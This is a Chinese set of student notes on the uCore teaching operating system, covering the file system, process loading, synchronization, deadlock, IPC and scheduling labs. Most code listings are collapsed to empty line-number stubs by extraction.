函数是内核提供的一项文件读取函数。在这个函数中会涉及到IO缓冲区的数据结构iobuf
,其结构如下所示
1 | /* |
在这个函数中,程序会先初始化一个IO缓冲区,并执行vop_read
函数将数据读取至缓冲区中。而vop_read
函数会进一步调用sfs_io
。
1 | // read file |
sfs_io
函数是sfs_io_nolock
函数的wrapper
,该函数将进一步调用sfs_io_nolock
。
这里存在对缓冲区数据的一个跳过,如果当前缓冲区中存在一些数据尚未被读取或写入,则在下一次写入和读取时则会跳过该部分的内存。
1 | /* |
sfs_io_nolock
函数将在练习1中详细讲解。
文件写入流程与文件读取几乎一模一样。文件写入的执行流程是
sysfile_write -> file_write -> vop_write -> sfs_io -> ...
故再此不再赘述
首先sysfile_close
函数直接调用file_close
函数,并在内部调用fd_array_close
函数,使得当前file
在files_struct
中被关闭。
1 | // close file |
在fd_array_close
函数中,如果该文件的打开次数为0,则调用fd_array_free
将该文件所占用的资源释放
1 | // fd_array_close - file's open_count--; if file's open_count-- == 0 , then call fd_array_free to free this file item |
而fd_array_free
函数会进一步调用vfs_close
。并在内部调用inode_ref_dec
和inode_open_dec
以递减该文件的引用次数和打开次数。
inode_ref_dec
内部会调用vop_reclaim
(即sfs_reclaim
)来释放对应inode
结构所涉及的所有数据。inode_open_dec
内部会调用vop_close
(即sfs_close
)来将相关inode
写入至磁盘中,并释放结构。这两个函数对inode的操作稍微有一点点差别,请结合源代码详细理解。
不再详细向下写了,内容太多实在写不完了。。。。
填写已有实验
本次的练习0无需修改其他代码,只要把原先的地方填入lab8代码中即可。
完成读文件操作的实现
首先了解打开文件的处理流程,然后参考本实验后续的文件读写操作的过程分析,编写在sfs_inode.c中sfs_io_nolock读文件中数据的实现代码。
文件的处理流程请阅读上文uCore文件系统实现
当进行文件读取/写入操作时,最终uCore都会执行到sfs_io_nolock
函数。在该函数中,我们要完成对设备上基础块数据的读取与写入。
在进行读取/写入前,我们需要先将数据与基础块对齐,以便于使用sfs_block_op
函数来操作基础块,提高读取/写入效率。
但一旦将数据对齐后会存在一个问题:
待操作数据的前一小部分有可能在最前的一个基础块的末尾位置
待操作数据的后一小部分有可能在最后的一个基础块的起始位置
我们需要分别对这第一和最后这两个位置的基础块进行读写/写入,因为这两个位置的基础块所涉及到的数据都是部分的。而中间的数据由于已经对齐好基础块了,所以可以直接调用sfs_block_op
来读取/写入数据。以下是相关操作的实现:
1 | /* |
给出设计实现”UNIX的PIPE机制“的概要设方案
pipe_tmp
。之后,当打开了pipe_tmp
文件的某进程fork出子进程后,父子进程就可以通过读写同一文件来实现进程间通信。完成基于文件系统的执行程序机制的实现
基于文件系统的执行程序机制,有几部分地方需要添加代码,分别是alloc_proc
、do_fork
、load_icode
三个函数。
alloc_proc
这个函数需要添加的内容最少,只需多补充一个struct files_struct *filesp
的初始化即可
修改后的源码如下
1 | static struct proc_struct * |
do_fork
fork机制在原先lab7的基础上,多了file_struct
结构的复制操作与执行失败时的重置操作。
这两部操作分别需要调用copy_files
和put_files
函数
修改后的源码如下
1 | int |
load_icode
函数可以在lab7原先的基础上进行修改,不需要从0开发。
原先lab7源码中,读取可执行文件是直接读取内存的,但在这里需要使用函数load_icode_read
来从文件系统中读取ELF header
以及各个段的数据。
原先Lab7的load_icode
函数中并没有对execve
所执行的程序传入参数,而我们需要在lab8中补充这个实现。
补充后的源码如下
1 | // load_icode - called by sys_exec-->do_execve |
给出设计实现基于”UNIX的硬链接和软链接机制“的概要设方案
SFS中已经预留出硬链接/软链接的相关定义(没有实现)
1 | /* |
硬链接机制的实现
new_path
建立一个sfs_disk_entry
结构,但该结构的内部ino
成员指向old_path
的磁盘索引结点,并使该磁盘索引节点的nlinks
引用计数成员加一即可。sfs_disk_inode
中的nlinks
减一,同时删除硬链接的sfs_disk_entry
结构即可。软链接的实现
与创建硬链接不同,创建软链接时要多建立一个sfs_disk_inode
结构(即建立一个全新的文件)。之后,将old_path
写入该文件中,并标注sfs_disk_inode
的type
为SFS_TYPE_LINK
即可。
删除软链接与删除文件的操作没有区别,直接将对应的sfs_disk_entry
和sfs_disk_inode
结构删除即可。
uCore
Lab 7时写下的一些笔记原子操作是指一次不存在任何中断或失效的操作
该操作只有两种情况
不存在出现部分执行的情况
相互感知的程度 | 交互关系 | 进程间的影响 |
---|---|---|
相互不感知(完全不了解其他进程的存在) | 独立 | 一个进程的操作对其他进程的结果无影响 |
间接感知(双方都与第三方交互,例如数据共享) | 通过共享进行协作 | 一个进程的结果依赖于共享资源的状态 |
直接感知(双方直接交互,例如通信) | 通过通信进行协作 | 一个进程的结果依赖于从其他进程获得的信息 |
进程之间可能出现三种关系:
空闲则入、忙则等待、有限等待、让权等待(可选)
让权等待:让不能进入临界区的进程暂时释放CPU资源。
无中断,无上下文切换,因此无并发
硬件将中断处理延迟到中断被启用之后
现代计算机体系结构都提供指令来实现禁用中断。
1 | local_irq_save(unsigned long flags); |
进入临界区:禁止所有中断,并保存标志
离开临界区:使能所有中断,并恢复标志
缺点
禁用中断后,进程无法被停止
临界区可能很长,无法确定响应中断所需的时间
仅限于单处理器
线程可通过共享一些共有变量来同步它们的行为。
Peterson算法(两线程之间的同步互斥算法)
共享变量
1 | int turn; // 表示该谁进入临界区 |
进入区代码
1 | // 设置当前线程想进入临界区 |
退出区代码
1 | // 设置当前线程不想进入临界区 |
总结
1 | // 线程Ti的代码 |
Dekkers算法。逻辑与Peterson类似,为另一种的两线程之间的同步互斥算法。所不同的是这个算法可以很方便的扩展至多个线程。
1 | // 线程Ti的代码 |
N线程的软件方法(Eisenberg和McGuire)
缺点
硬件提供一些同步原语:例如中断禁用,原子操作指令等
操作系统提供更高级的编程抽象来简化进程同步:例如锁、信号量,或者用硬件原语来构造、
锁(lock)
锁是一个抽象的数据结构
使用锁来控制临界区访问
1 | lock_next_pid->Acquire(); |
原子操作指令
现代CPU体系结构都提供一些特殊的原子操作指令
测试和置位(Test-and-Set)指令
从内存中获取值,测试该值是否为1,并设置内存单元值为1
等效于:
1 | bool TestAndSet(bool *target) |
交换指令(exchange)
交换内存中的两个值
等效于:
1 | void exchange(bool *a, bool* b) |
使用TS指令实现自旋锁(spinlock)
自旋忙等待锁
1 | class Lock{ |
无忙等待锁(非自旋锁)
1 | class Lock{ |
原子操作锁的特征
优点
缺点
忙等待消耗处理器时间
可能导致饥饿:进程离开临界区时有多个等待进程的情况
死锁:拥有临界区的低优先级进程,以及请求访问临界区的高优先级进程获得处理器并等待临界区。
信号量(Semaphore)是操作系统提供的一种协调共享资源访问的方法
信号量是一种抽象数据类型
sem--
,如果sem<0,则进入等待,否则继续sem++
, 如果sem <= 0, 唤醒一个等待进程信号量是被保护的整数变量
P() 可能阻塞,但 V() 不会阻塞
通常,假定信号量是“公平的”
即,线程不会被无限期阻塞在P() 操作中
假定信号量等待按先进先出排队
自旋锁不能实现先进先出
信号量的一种实现方式
与用户自己编写的锁不同,操作系统保证PV操作是原子操作。
1 | class Semaphore{ |
信号量可分为两种信号量
两者等价,基于某一个可以实现另一个
信号量的使用
用信号量实现临界区的互斥访问
缺点
问题描述
问题分析
用信号量描述每个约束
fullBuffers
emptyBuffers
代码解决
1 | class BoundedBuffer{ |
需要注意的是,PV操作的顺序一定要对应,否则可能出现死锁情况!
条件变量(Condition Variable)是管程内的等待机制
Wait() 操作
Signal() 操作
用条件变量来解决生产者-消费者问题
该部分代码请结合“用管程解决生产者-消费者问题”理解
1 | class Condition{ |
用管程解决生产者-消费者问题
1 | class BoundBuffer{ |
条件变量的释放处理方式
当T2线程执行Signal函数后,控制权应保留至T2线程结束,还是立即切换回T1线程呢?这两种不同的情况分别为Hasen管程与Hoare管程。
Hasen管程
Hasen管程在某个线程执行Signal函数后,控制权不立即移交至另一个线程,而是先执行当前线程。
过程如下
T1线程 | T2线程 |
---|---|
l.acquire() | |
… | |
x.wait() | |
l.acquire() | |
… | |
x.signal() | |
… | |
l.release() | |
… | |
x.release() |
特点:线程切换次数较少,效率较高,主要用于真实OS和Java中。
代码
1 | void Deposit(c) |
Hoare管程
Hoare管程在某个线程执行Signal函数后,控制权立即移交至另一个线程。
过程如下
T1线程 | T2线程 |
---|---|
l.acquire() | |
… | |
x.wait() | |
l.acquire() | |
… | |
x.signal() | |
… | |
l.release() | |
… | |
l.release() |
特点:通常的分析中,T1线程优先执行是更合理的,但需要做多次线程切换,低效。主要见于教科书中
代码
1 | void Deposit(c) |
以下实现为读者优先。
1 | class Reader_Writer{ |
1 | class Database{ |
死锁检测较为复杂,通常由应用程序处理死锁,操作系统会忽略死锁
死锁预防(Deadlock Prevention) : 确保系统永远不会进入死锁状态。
预防是采用某种策略,限制并发进程对资源的请求,使系统在任何时刻都不满足死锁的必要条件。
互斥:把互斥的共享资源封装成可同时访问的
持有并等待:进程请求资源时,要求它不持有任何其他资源。仅允许进程在开始执行时,一次请求所有需要的资源,但这种做法的资源利用率低。
非抢占:如进程请求不能立即分配的资源,则释放已经占用的资源。只在能够同时获得所有需要资源时,才执行分配操作。
循环等待:对资源排序,要求进程按顺序请求资源。
死锁避免(Deadlock Avoidance):在使用前进行判断,只允许不会出现死锁的进程请求资源。
利用额外的先验信息,在分配资源时判断是否会出现死锁,只在不会出现死锁时分配资源。
系统资源分配的安全状态
j<i
。银行家算法(Banker’s Algorithm)
银行家算法是一个避免死锁产生的算法,以银行借贷分配策略为基础,判断并保证系统处于安全状态。
使用的数据结构
n = 线程数量, m = 资源类型数量
$Need[i, j] = Max[i, j] - Allocation[i, j]$
安全状态判断
1 | // Work和Finish分别是长度为m和n的向量初始化 |
银行家算法具体设计
初始化:$Request_i$:线程$T_i$的资源请求向量, $Request_i[j]$:线程$T_i$请求资源$R_j$的实例
循环:
如果$Request_i <= Need[i]$,则转到步骤2。否则拒绝资源申请,因为线程已经超过了其最大资源要求。
如果$Request_i <= Available$,转到步骤3。否则,$T_i$必须等待,因为资源不可用。
通过安全状态判断来确定是否分配资源给$T_i$
生成一个需要判断状态是否安全的资源分配环境
1 | Available = Available - Request_i; |
并调用上文的安全状态判断
死锁检测和恢复(Deadlock Detection & Recovery) : 在检测到运行系统进入死锁状态后进行恢复。
特点
数据结构
死锁检测算法
该算法与银行家算法类似。
1 | // Work和Finish分别是长度为m和n的向量初始化 |
死锁检测算法的使用
进程通信(IPC, Inter-Process Communication)是进程进行通信和同步的机制
IPC提供2个基本操作:发送操作send和接收操作receive
进程通信流程
进程链路特征
进程发送的消息在链路上可能有3种缓冲方式
SIGKILL
, SIGSTOP
, SIGCONT
等read(fd, buffer, nbytes)
。scanf基于此实现。write(fd, buffer, nbytes)
。printf基于此实现。pipe(fd)
rgfd
是两个文件描述符组成的数组rgfd[0]
是读文件描述符rgfd[1]
是写文件描述符msgget(key, flag)
: 获取消息队列标识msgsnd(QID, buf, size, flag)
: 发送消息msgrcv(QID, buf, size, type, flag)
: 接收消息msgctl(...)
: 消息队列控制共享内存是把同一个物理内存区域同时映射到多个进程的内存地址空间的通信机制。
进程间共享
线程间共享:同一个进程中的线程总是共享相同的内存地址空间
优点:快速、方便地共享数据
缺点:必须使用额外的同步机制来协调数据访问。
共享内存的系统调用
shmget(key, size, flags)
: 创建共享段shmat(shmid, *shmaddr, flags)
:把共享段映射到进程地址空间shmdt(*shmaddr)
: 取消共享段到进程地址空间的映射shmctl(...)
: 共享段控制填写已有实验。
搜索一下Lab7
关键词,只需要将原先lab6kern/trap/trap.c
中
1 | case IRQ_OFFSET + IRQ_TIMER: |
替换为以下代码即可。
1 | case IRQ_OFFSET + IRQ_TIMER: |
timer_t
结构用于存储一个定时器所需要的相关数据,包括倒计时时间以及所绑定的进程。
1 | typedef struct { |
add_timer
用于将某个timer
添加进timer列表中。
处于性能考虑,每个新添加的timer都会按照其expires
属性的大小排列,同时减去上一个timer的expires
属性。一个例子:
1 | 两个尚未添加进列表中的timer: |
这样,在更新timer_list中的所有timer的expires时,只需递减链首的第一个timer的expire,即可间接达到所有timer的expires减一的目的。
该函数源代码如下
1 | // add timer to timer_list |
run_timer_list
函数用于更新定时器的时间,并更新当前进程的运行时间片。如果当前定时器的剩余时间结束,则唤醒某个处于WT_INTERRUPTED
等待状态的进程。有一点在上个函数中提到过:递减timer_list中每个timer的expires时,只递减链头第一个timer的expires。该函数的源代码如下
1 | // call scheduler to update tick related info, and check the timer is expired? If expired, then wakup proc |
将timer从timer_list中删除的操作比较简单:设置好当前待移除timer的下一个timer->expires,并将当前timer从链表中移除即可。
1 | // del timer from timer_list |
一个简单的例子,do_sleep
函数
1 | int do_sleep(unsigned int time) { |
定时器的用处:定时器可以帮助操作系统在经过一段特定时间后执行一些特殊操作,例如唤醒执行线程。可以说,正是有了定时器,操作系统才有了时间这个概念。
理解内核级信号量的实现和基于内核级信号量的哲学家就餐问题
哲学家就餐问题
uCore中的哲学家就餐主要代码较为简单:每个哲学家拿起叉子,进食,然后放下叉子。
1 | int state_sema[N]; /* 记录每个人状态的数组 */ |
拿起 / 放下叉子时,由于需要修改当前哲学家的状态,同时该状态是全局共享变量,所以需要获取锁来防止条件竞争。
将叉子放回桌上时,如果当前哲学家左右两边的两位哲学家处于饥饿状态,即准备进餐但没有刀叉时,如果条件符合,则唤醒这两位哲学家并让其继续进餐。
1 | void phi_take_forks_sema(int i) /* i:哲学家号码从0到N-1 */ |
phi_test_sema
函数用于设置哲学家的进食状态。如果当前哲学家满足进食条件,则更新哲学家状态,执行哲学家锁所对应的V操作,以唤醒等待叉子的哲学家所对应的线程。
1 | void phi_test_sema(i) /* i:哲学家号码从0到N-1 */ |
请给出内核级信号量的设计描述,并说明其大致执行流程
内核中的信号量结构体如下,与操作系统理论课所实现的相差不大
1 | typedef struct { |
进入临界区时,uCore会执行down
函数
1 | down(&mutex); /* 进入临界区 */ |
与之相对的,退出临界区时会执行up
函数
1 | up(&mutex); /* 离开临界区 */ |
down
函数和up
函数分别是_down
和_up
的wrapper。它们除了传入信号量以外,还会传入一个等待状态wait_state
。
_down
函数会递减当前信号量的value
值。如果value
在递减前为0,则将其加入至等待队列wait_queue
中,并使当前线程立即放弃CPU资源,调度至其他线程。注意其中的原子操作。该函数的源码如下:
1 | static __noinline uint32_t __down(semaphore_t *sem, uint32_t wait_state) { |
_up
函数实现的功能稍微简单一点:如果没有等待线程则value++
,否则唤醒第一条等待线程。
注意:
_up
函数如果选择唤醒第一条等待线程的话,则value
不加一
1 | static __noinline void __up(semaphore_t *sem, uint32_t wait_state) { |
请给出给用户态进程/线程提供信号量机制的设计方案,并比较说明给内核级提供信号量机制的异同
内核为用户态进程/线程提供信号量机制时,需要设计多个应用程序接口,而用户态线程只能通过这些内核提供的接口来使用内核服务。借鉴于Linux提供的标准接口,内核提供的这些接口可分别为:
1 | /*Initialize semaphore object SEM to VALUE. If PSHARED then share it |
相同点
不同点
总体任务:完成内核级条件变量和基于内核级条件变量的哲学家就餐问题
- 基于信号量实现完成条件变量实现,给出内核级条件变量的设计描述,并说明其大致执行流程。
管程由一个锁和多个条件变量组成,以下是管程和条件变量的结构体代码
1 | typedef struct monitor monitor_t; |
注意:
monitor
结构中next
信号量的功能请在下文结合cond_signal
说明来理解。
初始化管程时,函数monitor_init
会初始化传入管程的相关成员变量,并为该管程设置多个条件变量并初始化。
1 | // Initialize monitor. |
当某个线程准备离开临界区、准备释放对应的条件变量时,线程会执行函数cond_signal
。该函数同样是这次要实现的函数之一。
如果不存在线程正在等待带释放的条件变量,则不执行任何操作
否则,对传入条件变量内置的信号执行V操作。注意:这一步可能会唤醒某个等待线程。
关键的一步! 函数内部接下来会执行down(&(cvp->owner->next))
操作。由于monitor::next
在初始化时就设置为0,所以当执行到该条代码时,无论如何,当前正在执行cond_signal
函数的线程一定会被挂起。这也正是管程中next
信号量的用途。
为什么要做这一步呢?原因是保证管程代码的互斥访问。
一个简单的例子:线程1因等待条件变量a而挂起,过了一段时间,线程2释放条件变量a,此时线程1被唤醒,并等待调度。注意!此时在管程代码中,存在两个活跃线程(这里的活跃指的是正在运行/就绪线程),而这违背了管程的互斥性。因此,线程2在释放条件变量a后应当立即挂起以保证管程代码互斥。而
next
信号量便是帮助线程2立即挂起的一个信号。
以下是该函数的实现代码:
1 | // Unlock one of threads waiting on the condition variable. |
当某个线程需要等待锁时,则会执行cond_wait
函数。而该函数是我们这次要实现的函数之一。
当某个线程因为等待条件变量而准备将自身挂起前,此时条件变量中的count
变量应自增1。
1 | cvp->count++; |
之后当前进程应该释放所等待的条件变量所属的管程互斥锁,以便于让其他线程执行管程代码。
但如果存在一个已经在管程中、但因为执行cond_signal
而挂起的线程,则优先继续执行该线程。
有关“因为执行
cond_signal
而挂起的线程”的详细信息,请阅读上方cond_signal
函数的介绍来了解。
如果程序选择执行up(&(cvp->owner->next))
,请注意:此时mutex没有被释放。因为当前线程将被挂起,原先存在于管程中的线程被唤醒,此时管程中仍然只有一个活跃线程,不需要让新的线程进入管程。
1 | if(cvp->owner->next_count > 0) |
释放管程后,尝试获取该条件变量。如果获取失败,则当前线程将在down
函数的内部被挂起。
1 | down(&(cvp->sem)); |
若当前线程成功获取条件变量,则当前等待条件变量的线程数减一。
1 | cvp->count--; |
这样就结束了吗?想想看为什么当线程成功获取条件变量时,不重新申请管程的互斥锁。
以下是一个简单的流程:线程1执行wait被挂起,释放管程的mutex,之后线程2获取mutex并进入管程,然后执行了signal唤醒线程1,同时挂起自身。在这个过程中,管程中自始自终都只存在一个活跃线程(原先的线程1执行,线程2未进入,到线程1挂起,线程2进入,再到线程1被唤醒,线程2挂起)。而此时mutex在线程1被唤醒前就已被线程2所获取,新线程无法进入管程,因此被唤醒的线程1不需要再次获取mutex。由于管程锁已被获取(不管是哪个线程获取)、管程中只有一个活跃线程,因此我们可以近似将管程锁视为是当前线程获取的。
以下是最终代码:
1 | // Suspend calling thread on a condition variable waiting for condition Atomically unlocks |
管程中函数的入口出口设计
为了让整个管程正常运行,还需在管程中的每个函数的入口和出口增加相关操作,即:
1 | void monitorFunc() { |
这样做的好处有两个
cond_signal
函数而睡眠的进程无法被唤醒。针对 “避免由于执行了cond_signal
函数而睡眠的进程无法被唤醒“ 这个优点简单说一下
wait
和signal
函数的调用存在时间顺序。例如:当线程1先调用signal
唤醒线程2并将自身线程挂起后,线程2在开始执行时将无法唤醒原先的在signal
中挂起的线程1。signal
,那么至少存在一个线程在管程中被挂起。
- 用管程机制实现哲学家就餐问题的解决方案(基于条件变量)
这题涉及到了两个函数,分别是phi_take_forks_condvar
和phi_put_forks_condvar
。与信号量所实现的哲学家就餐问题类似,大体逻辑是一致的。
首先,哲学家需要尝试获取刀叉,如果刀叉没有获取到,则等待刀叉。
1 | void phi_take_forks_condvar(int i) { |
之后,当哲学家放下刀叉时,如果左右两边的哲学家都满足条件可以进餐,则设置对应的条件变量。
1 | void phi_put_forks_condvar(int i) { |
以下是哲学家尝试进餐的代码
1 | void phi_test_condvar (i) { |
在ucore中实现简化的死锁和重入探测机制.
在ucore下实现一种探测机制,能够在多进程/线程运行同步互斥问题时,动态判断当前系统是否出现了死锁产生的必要条件,是否产生了多个进程进入临界区的情况。 如果发现,让系统进入monitor状态,打印出你的探测信息。
死锁的相关资料可查阅上文中的死锁来了解。
具体实现暂鸽。
在ucore下实现下Linux的RCU同步互斥机制。
RCU(Read-Copy Update) 机制适用于读者-写者模型,但更适用于读者多而写者少的情况,因为其行为方式如下:
随时可以拿到读锁,在有些设计中甚至不需要锁,即对临界区的读操作随时都可以得到满足,不能被阻塞。因此读者几乎没有什么同步开销。
某一时刻只能有一个人拿到写锁,多个写锁需要互斥,写的动作包括 拷贝–修改–宽限窗口到期后删除原值。写者在访问它时首先拷贝一个副本,然后对副本进行修改,最后使用一个回调(callback)机制在适当的时机把指向原来数据的指针重新指向新的被修改的数据。这个时机就是所有引用该数据的CPU都退出对共享数据的操作。
RCU保护的是指针,这一点尤其重要。因为指针赋值是一条单指令,也就是说是一个原子操作。更改指针指向时没必要考虑它的同步,只需要考虑cache的影响.。
临界区的原始值为m1,如果存在线程拿到写锁修改了临界区为m2,则在写锁修改临界区之后,如果某个线程拿到了读锁,则获取的临界区的值应该为m2;写锁修改临界区之前,读锁获取的值应为m1。这样的操作通过原子操作来保证。
RCU读操作随时都会得到满足,但写锁之后的写操作所耗费的系统资源就相对比较多了,因为需要延迟数据结构的释放与复制被修改的数据结构,并且只有在宽限期之后才会彻底删除原资源。
当一个线程执行删除某个结点的动作后,该结点并不会马上被删除,而是等待所有读取线程全部读取完成后才进行销毁操作,而这样做的原因是这些线程有可能读到了要删除的元素。
从删除结点到销毁节点这之间的过程,称为宽限期(Grace Period)
]]>具体实现暂鸽QwQ
uCore
Lab 6时写下的一些笔记比较调度算法的准则
调度策略的目标
低延迟调度改善用户的交互体验。
响应时间是操作系统的计算延迟。
调度策略的吞吐量目标
吞吐量是操作系统的计算带宽。
调度的公平性目标
依据进程进入就绪状态的先后顺序排序
平均等待时间波动较大(短进程可能排在长进程后面)
IO资源和CPU资源的利用效率可能较低
CPU密集型进程会导致IO设备闲置时,IO密集型进程也在等待。(CPU和IO设备可并行执行)
选择就绪队列中执行时间最短进程占用的CPU进入运行状态。就绪队列按预期的执行时间来排序。
可能导致饥饿。例如连续的短进程流会使长进程无法获得CPU资源。
需要预估下一个CPU计算的持续时间
一种方法是,用历史执行时间预估未来执行时间
短剩余时间优先算法(SRT):SPN算法的可抢占改进
选择就绪队列中响应比R值最高的进程
其中$R=(w+s)/s$, s:执行时间;w:等待时间
固定优先级。例如先处理前台,后处理后台。但可能会导致饥饿。
时间片轮转。每个队列都得到一个确定的能够调度其进程的CPU总时间。
例如80%CPU时间用于前台,20%CPU时间用于后台。
进程可在不同队列间移动的多级队列算法。
时间片大小随优先级级别的增加而增加。
例如进程在当前时间片内没有完成,则降到下一个优先级。
特征:CPU密集型进程优先级下降的很快,IO密集型进程停留在高优先级。
FSS控制用户对系统资源的访问
优先级反置(Priority Inversion),是操作系统中出现的高优先级进程长时间等待低优先级进程所占用的资源的现象。
基于优先级的可抢占调度算法存在优先级反置。
填写已有实验
先将Lab5中的相关代码照搬过来,然后修改alloc_proc
的初始化,以及系统中断里的时钟中断这两处即可。
1 | static struct proc_struct * alloc_proc(void) { |
1 | case IRQ_OFFSET + IRQ_TIMER: |
使用 Round Robin 调度算法(不需要编码)
请理解并分析sched_class中各个函数指针的用法,并结合Round Robin 调度算法描ucore的调度执行过程
sched_class
中各个函数指针的用法sched_class
的定义如下
1 | // The introduction of scheduling classes is borrrowed from Linux, and makes the |
其中,const char *name
指向了当前调度算法的名称字符串
void (*init)(struct run_queue *rq)
用于初始化传入的就绪队列。RR算法中只初始化了对应run_queue
的run_list
成员。
1 | static void |
void (*enqueue)(struct run_queue *rq, struct proc_struct *proc)
用于将某个进程添加进传入的队列中。RR算法除了将进程添加进队列中,还重置了相关的时间片。
1 | static void |
void (*dequeue)(struct run_queue *rq, struct proc_struct *proc)
用于将某个进程从传入的队列中移除。以下是RR算法的实现
1 | static void |
struct proc_struct *(*pick_next)(struct run_queue *rq)
用于在传入的就绪队列中选择出一个最适合运行的进程(选择进程但不将从队列中移除)。在RR算法中每次都只选择队列最前面那个进程。
1 | static struct proc_struct * |
void (*proc_tick)(struct run_queue *rq, struct proc_struct *proc)
。该函数会在时间中断处理例程中被调用,以减小当前运行进程的剩余时间片。若时间片耗尽,则设置当前进程的need_resched
为1。
1 | static void |
结合Round Robin
调度算法描uCore的调度执行过程
首先,uCore调用sched_init
函数用于初始化相关的就绪队列。
之后在proc_init
函数中,建立第一个内核进程,并将其添加至就绪队列中。
当所有的初始化完成后,uCore执行cpu_idle
函数,并在其内部的schedule
函数中,调用sched_class_enqueue
将当前进程添加进就绪队列中(因为当前进程要被切换出CPU了)
然后,调用sched_class_pick_next
获取就绪队列中可被轮换至CPU的进程。如果存在可用的进程,则调用sched_class_dequeue
函数,将该进程移出就绪队列,并在之后执行proc_run
函数进行进程上下文切换。
需要注意的是,每次时间中断都会调用函数sched_class_proc_tick
。该函数会减少当前运行进程的剩余时间片。如果时间片减小为0,则设置need_resched
为1,并在时间中断例程完成后,在trap
函数的剩余代码中进行进程切换。
1 | void trap(struct trapframe *tf) { |
请在实验报告中简要说明如何设计实现”多级反馈队列调度算法“,给出概要设计,鼓励给出详细设计
多级反馈队列算法与时间片轮换算法类似,但又有所区别。该算法需要设置多个run_queue
,而这些run_queue
的max_time_slice
需要按照优先级依次递减。
在sched_init
函数中,程序先初始化这些run_queue
,并依次从大到小设置max_time_slice
。
例如队列一的
max_time_slice
为7,队列二的max_time_slice
为5,队列三的max_time_slice
为3。
而执行sched_class_enqueue
时,先判断当前进程是否是新建立的进程。如果是,则将其添加至最高优先级(即时间片最大)的队列。如果当前进程是旧进程(即已经使用过一次或多次CPU,但进程仍然未结束),则将其添加至下一个优先级的队列,因为该进程可能是IO密集型的进程,CPU消耗相对较小。
如果原先的队列已经是最低优先级的队列了,则重新添加至该队列。
sched_class_pick_next
要做的事情稍微有点多。首先要确认下一次执行的该是哪条队列里的哪个进程。为便于编码,我们可以直接指定切换至队列中的第一个进程(该进程是等待执行时间最久的进程)。
但队列的选择不能那么简单,因为如果只是简单的选择执行第一个队列中的进程,则大概率会产生饥饿,即低优先级的进程长时间得不到CPU资源。所以,我们可以设置每条队列占用固定时间/固定百分比的CPU。例如在每个队列中添加一个max_list_time_slice
属性并初始化,当该队列中的进程总运行时间超过当前进程所在队列的max_list_time_slice
(即最大运行时间片),则CPU切换至下一个队列中的进程。
实现 Stride Scheduling 调度算法(需要编码)
uCore的Round-Robin算法可以保证每个进程得到的CPU资源是相等的,但我们希望调度器能够更加智能的为每个进程分配合理的CPU资源,让每个进程得到的时间资源与它们的优先级成正比关系。而Stride Scheduling调度算法就是这样的一种典型而简单的算法。
其中,该算法的有如下几个特点:
而该算法的基本思想如下:
可以证明,如果令 P.pass = BigStride / P.priority 其中 P.priority 表示进程的优先权(大于 1),而 BigStride 表示一个预先定义的大常数,则该调度方案为每个进程分配的时间将与其优先级成正比。
不过这里有个点需要注意一下,随着进程的执行,stride属性值会一直在增加,那么就有可能造成整数溢出。当stride溢出后,不当的比较可能会造成错误。那应该怎么做呢?
这里有一个结论:STRIDE_MAX – STRIDE_MIN <= PASS_MAX == BIG_STRIDE / 1
(注意最小的Priority为1)。所以我们只要将BIG_STRIDE
限制在某个范围内,即可保证任意两个stride之差都会在机器整数表示的范围之内。
而又因为溢出数a减去非溢出数b的结果仍然是正确的,例如
1 | uint32_t a = ((uint32_t) -1); // 此时a为uint32_t的最大值 |
所以,我们只需将BIG_STRIDE
的值限制在一个uint32_t
所能表示的范围(uint32_t为uCore所设置的stride值的类型),这样就可避开stride的溢出。
1 |
由于Stride Scheduling
算法涉及到大量的查找,故我们可以使用斜堆skew_heap
数据结构来提高算法效率。该数据结构在uCore中已提供,我们无需关注其具体细节,直接调用即可。
stride_init
简简单单的一个初始化
1 | static void |
需要注意的是,初始化rq->lab6_run_pool
时请直接赋值NULL即可,而不要使用skew_heap_init
函数,因为rq->lab6_run_pool
只是一个指针,而不是一个对象。
stride_enqueue
和stride_dequeue
与RR算法相差不大
不过要注意的是,在插入或删除一个进程后,一定要更新rq->lab6_run_pool
指针!
1 | static void |
pick_next
函数中涉及到了选取最小Stride
值的进程,以及stride
值的更新。
由于uCore中的函数proc_stride_comp_f
已经给出源码,结合对应斜堆代码的理解,我们可以得出:stride值最小的进程在斜堆的最顶端。所以pick_next
函数中我们可以直接选取rq->lab6_run_pool
所指向的进程。
而stride
值可以直接加上BIG_STRIDE / p->lab6_priority
来完成该值的更新。不过这里有个需要注意的地方,除法运算是不能除以0的,所以我们需要在alloc_proc
函数中将每个进程的priority
都初始化为1.
1 | static int |
stride_proc_tick
与RR算法一致,这里不再赘述
1 | static void |
实现Linux CFS算法
CFS (完全公平调度器)实现的主要思想是维护为任务提供处理器时间方面的平衡(公平性)。它给每个进程设置了一个虚拟时钟vruntime。其中$vruntime = 实际运行时间 * 1024 / 进程权重$。
进程按照各自不同的速率在物理时钟节拍内前进,优先级高则权重大,其虚拟时钟比真实时钟跑得慢,但获得比较多的运行时间;CFS调度器总是选择虚拟时钟跑得慢的进程来运行,从而让每个调度实体的虚拟运行时间互相追赶,进而实现进程调度上的平衡。
CFS使用红黑树来进行快速高效的插入和删除进程。
具体实现与Stride Scheduling类似,只是稍微有些不同。咕咕咕~
参考链接:
在ucore上实现尽可能多的各种基本调度算法(FIFO, SJF,…),并设计各种测试用例,能够定量地分析出各种调度算法在各种指标上的差异,说明调度算法的适用范围。
]]>这个,告辞~
除了将lab 1/2/3/4的代码填写至lab5以外,其他地方还有部分代码需要完善一下:
在alloc_proc
函数中,添加对proc_struct::wait_state
以及proc_struct::cptr/optr/yptr
成员的初始化。
1 | static struct proc_struct * |
在idt_init
函数中,设置中断T_SYSCALL
的触发特权级为DPL_USER
1 | void idt_init(void) { |
在trap_dispatch
中,设置每100次时间中断后,当前正在执行的进程准备被调度。同时,注释掉原来的"100ticks"输出
1 | static void |
在do_fork
函数中,添加对当前进程等待状态的检查,以及使用set_links
函数来设置进程之间的关系。
1 | int |
加载应用程序并执行
do_execv函数调用load_icode(位于kern/process/proc.c中)来加载并解析一个处于内存中的ELF执行文件格式的应用程序,建立相应的用户内存空间来放置应用程序的代码段、数据段等,且要设置好proc_struct结构中的成员变量trapframe中的内容,确保在执行此进程后,能够从应用程序设定的起始执行地址开始执行。需设置正确的trapframe内容。
相关实现代码如下
1 | // codes in `load_icode` function |
请描述当创建一个用户态进程并加载了应用程序后,CPU是如何让这个应用程序最终在用户态执行起来的。即这个用户态进程被ucore选择占用CPU执行(RUNNING态)到具体执行应用程序第一条指令的整个经过。
为便于描述得当,笔者将介绍一个用户态程序从开始执行
sys_execve
到具体执行新加载应用程序的第一条指令这个过程。
